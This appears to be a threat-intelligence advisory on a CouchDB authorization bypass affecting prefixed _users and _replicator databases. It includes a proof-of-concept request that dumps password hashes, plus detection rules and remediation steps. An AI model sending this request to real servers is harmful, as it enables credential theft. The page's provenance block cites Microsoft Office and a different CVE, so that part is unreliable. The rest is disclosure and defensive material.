CVE-2026-90800: Apache CouchDB Prefixed System Databases Authorization Bypass
A high-severity authorization bypass vulnerability (CVE-2026-90800) has been identified in Apache CouchDB versions 3.5.2 and earlier. The chttpd HTTP routing daemon fails to enforce security restrictions on system databases that use hierarchical or tenant prefixes (such as tenant/_users or cluster/_replicator). Unauthenticated remote attackers can query standard document retrieval endpoints to dump administrative password hashes and inter-cluster replication tokens. Upgrading to CouchDB 3.5.3 restores strict access controls. Hermes rates this vector at HTS 87 (HIGH).
HERMES THREAT SCORE & MULTITENANT DATABASE INTEGRITY
Target:Apache CouchDB HTTP Routing Daemon (/src/chttpd/) CVSS v4.0 scores this vulnerability at 8.1 High. Hermes Threat Score evaluates it at 87 (HIGH). In multitenant and partitioned architectures where organizations rely on prefixed system databases for organizational boundary isolation, this zero-authentication flaw directly yields salted password hashes and external database credentials.
CVE-2026-90800: Apache CouchDB Prefixed System Databases Authorization BypassVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Executive Summary & Overview
Section titled โ1. Executive Summary & OverviewโApache CouchDB encapsulates security principals, user authentication records, and replication tasks inside specialized system databases: _users and _replicator. Under standard configurations, access to these databases requires administrative authentication or ownership verification.
However, in multi-tenant installations, partitioned deployments, or proxy-fronted infrastructures, system databases may be organized with path prefixes (e.g., acme/_users or tenant_a/_replicator). In versions prior to 3.5.3, the authorization filter in chttpd failed to inspect prefixed paths correctly, leaving endpoints accessible without credentials.
2. Technical Root Cause & Flaw Mechanics (CWE-862)
Section titled โ2. Technical Root Cause & Flaw Mechanics (CWE-862)โThe flaw resides in chttpd_auth_cache.erl and chttpd_db.erl. Access checks for system databases checked only for exact matches against literal strings <<"_users">> or <<"_replicator">>. When a database name arrived with a prefix (<<"tenant/_users">>), the equality checks returned false, and the request bypassed the system database security gate:
%% Vulnerable logic in chttpd:is_system_db(<<"_users">>) -> true;is_system_db(<<"_replicator">>) -> true;is_system_db(_) -> false. % Prefixed names like "tenant/_users" evaluated to false!Because is_system_db/1 evaluated to false, CouchDB fell back to standard database permission evaluation rules, allowing unauthenticated public reads if default database permissions were permissive or unspecified.
3. Attack Vector & Proof-of-Concept
Section titled โ3. Attack Vector & Proof-of-ConceptโGET /tenant_prod/_users/_all_docs?include_docs=true HTTP/1.1Host: couchdb.target.internal:5984Accept: application/jsonResponse (Extracted Password Hashes):
{ "total_rows": 1, "offset": 0, "rows": [ { "id": "org.couchdb.user:admin_tenant", "doc": { "_id": "org.couchdb.user:admin_tenant", "name": "admin_tenant", "roles": ["_admin"], "type": "user", "password_scheme": "pbkdf2", "iterations": 10000, "salt": "a4f8c9...", "derived_key": "e3b0c44..." } } ]}4. Affected Versions & Remediation Matrix
Section titled โ4. Affected Versions & Remediation Matrixโ| Product | Vulnerable Versions | Patched Version | Update Urgency |
|---|---|---|---|
| Apache CouchDB | <= 3.5.2 (All Platforms) | 3.5.3 | HIGH (Immediate) |
5. Detection Engineering & Threat Hunting
Section titled โ5. Detection Engineering & Threat Huntingโalert http $EXTERNAL_NET any -> $HOME_NET 5984 ( \ msg:"ET EXPLOIT Apache CouchDB Prefixed System DB Authorization Bypass (CVE-2026-90800)"; \ flow:established,to_server; \ http.method; content:"GET"; \ http.uri; content:"/_users"; fast_pattern; \ http.uri; pcre:"/^\/[^\/]+\/_(users|replicator)/"; \ classtype:bad-unknown; \ sid:202690800; rev:1; \)title: Apache CouchDB Prefixed System DB Accessid: a9080000-c04c-4db0-9800-couchdb00002status: experimentaldescription: Detects unauthenticated HTTP requests targeting prefixed CouchDB _users or _replicator databases.logsource: category: webserver service: couchdbdetection: selection: cs-uri-stem|contains: - '/_users' - '/_replicator' filter: c-username: '-' condition: selection and filterlevel: high6. Remediation & Hardening Roadmap
Section titled โ6. Remediation & Hardening Roadmapโ-
Upgrade to Apache CouchDB 3.5.3: The 3.5.3 release canonicalizes all database paths and applies system database constraints regardless of prefix nesting.
-
Audit Database Security Objects: Verify that all existing databases, including prefixed ones, possess explicit
_securityobjects requiring authenticated role membership. -
Enforce Authentication by Default: Ensure
require_valid_user = trueis configured in the[chttpd]configuration block to prohibit anonymous queries globally.